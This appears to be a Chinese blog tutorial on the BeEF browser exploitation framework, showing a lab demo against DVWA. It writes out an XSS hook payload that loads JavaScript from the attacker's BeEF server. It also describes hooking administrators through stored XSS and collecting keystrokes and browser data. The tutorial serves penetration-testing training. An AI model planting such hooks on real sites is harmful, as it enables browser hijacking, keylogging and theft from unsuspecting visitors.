0x01 Beef简介

BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。

beef管理、挂钩web浏览器的过程:

生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理

0x02攻击手段

配合xss,将hook插入到存在xss的注入处;

直接诱使客户端访问含有 hook 的伪造站点

结合中间人攻击注入 hook 脚本

0x03 用途

键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...

0x04 beef工具获取

beef只支持Linux平台

获取:

wget https://github.com/beefproject/beef/archive/master.zip
或:
git clone https://github.com/beefproject/beef

安装配置查看:https://github.com/beefproject/beef/wiki/Installation

kali-linux自带beef;

beef如果用于实战的话,需要一台vps,也就是建立连接的时候要使受害机能访问到beef,因此需要一个外网ip。

我的vps安装beef的时候有点问题,那么我们可以使用本地kali的beef,开放服务后,对beef的服务端口进行端口转发,转发到我们外网的vps上,那么受害机访问payload(hook)后就可以反向到我们的beef服务端了。

这里端口转发可以使用frp、portfwd、ew等。

0x05使用

我在本地进行演示:

攻击机kali:192.168.106.129

靶机DVWA:192.168.31.214

1.更改beef的默认用户名密码

beef的配置文件:/etc/beef-xss/config.yaml

beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值

2.启动

终端输入beef-xss即可启动beef服务端。

beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef

登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面

3.插入脚本hook到靶机

然后我们的hook启动的时候已经给出:

Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>

kali的地址为192.1618.106.129,那么靶机上插入的hook js脚本为:

<script src="https://192.168.106.129:3000/hook.js"></script>

在靶机DVWA上找一个xss漏洞,将hook插入到注入点:

留言提交后,靶机的浏览器就被beef钩上了:

因为我kali虚拟机开的nat模式,本机连的wifi,因此beef上显示的ip不是我wifi分配的ip,但就是我本机。

存储型xss的话只要插入的hook js语句,那么管理员正常访问他的站点就会触发,然后上钩。

0x06 beef管理

在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息

1、Details是浏览器信息详情

2.logs模块-键盘记录

3.commands-命令模块

Commands是你能对该浏览器进行哪些操作

主要模块:

-Browsers

- Exploits

- Host

- Persistence(持久)

- Network

绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行

橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)

灰色圆圈:模块未在目标浏览器上测试过

更多的请参照卿师傅的博客:https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task

XSS之Beef的使用的更多相关文章

  1. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  2. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  3. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  4. xss利用——BeEF#stage1

    全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...

  5. 我为NET狂~群福利:逆天书库

    我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...

  6. Kali Linux之速会BEEF & XSS攻击

    beef 安装指南:https://github.com/beefproject/beef/wiki/Installation 升级ruby指南:https://www.cnblogs.com/waw ...

  7. Beef xss神器

    KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. XSS(跨站脚本攻击)的最全总结

    从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...

随机推荐

  1. android开发实战-记账本APP(二)

    继昨天的开发,继续完成今天的内容. (一)开始构建一些业务逻辑,开始构建记账本的添加一笔记账的功能. ①对fab按钮的click时间进行修改,创建一个AlertDialog.Builder对象,因此我 ...

  2. Docker深入浅出系列 | 容器初体验

    目录 Docker深入浅出系列 | 容器初体验 教程目标 预备工作 容器与虚拟化技术 什么是Docker 为什么要用Docker 事例 什么是容器镜像和容器 容器与虚拟机的区别 Vagrant与Doc ...

  3. Gloang Swagger

    功能 自动化生产接口文档 安装 # 安装swaggo get -u github.com/swaggo/swag/cmd/swag # 安装 gin-swagger go get -u github. ...

  4. Docker快速上手之部署SpringBoot项目

    Docker是基于Go语言实现的云开源项目. Docker的主要目标是“Build,Ship and Run Any App,Anywhere”,也就是通过对应用组件的封装.分发.部署.运行等生命周期 ...

  5. abp vnext2.0核心组件之领域实体组件源码解析

    接着abp vnext2.0核心组件之模块加载组件源码解析和abp vnext2.0核心组件之.Net Core默认DI组件切换到AutoFac源码解析集合.Net Core3.1,基本环境已经完备, ...

  6. 《ASP.NET Core 高性能系列》静态文件中间件

    一.概述 静态文件(如 HTML.CSS.图片和 JavaScript等文件)是 Web程序直接提供给客户端的直接加载的文件. 较比于程序动态交互的代码而言,其实原理都一样(走Http协议), ASP ...

  7. SpringBoot学习(2) - 自定义starter

    自己开发一个spring boot starter的步骤1.新建一个项目(全部都基于maven),比如新建一个spring-boot-starter-redis的maven项目 pom.xml: &l ...

  8. Linux系统的用户和用户组管理

    一.用户账户管理 Linux/Unix是一个用户.多任务的操作系统:在讲Linux账号及账户组管理之前,先简单了解一下多用户.多任务操作系统的基本概念. Linux的单用户多任务 在Linux下,当你 ...

  9. 【2020-02-11】1346. Check If N and Its Double Exist

    更多LeetCode解题详解 Easy Given an array arr of integers, check if there exists two integers N and M such ...

  10. 《windows程序设计》第三章学习心得

    第三章是基于对一个windows窗口的学习,来达到对windows程序运行机制的理解. 从语言的角度看消息机制,Windows给程序发消息的本质就是调用"窗口过程"函数. Don' ...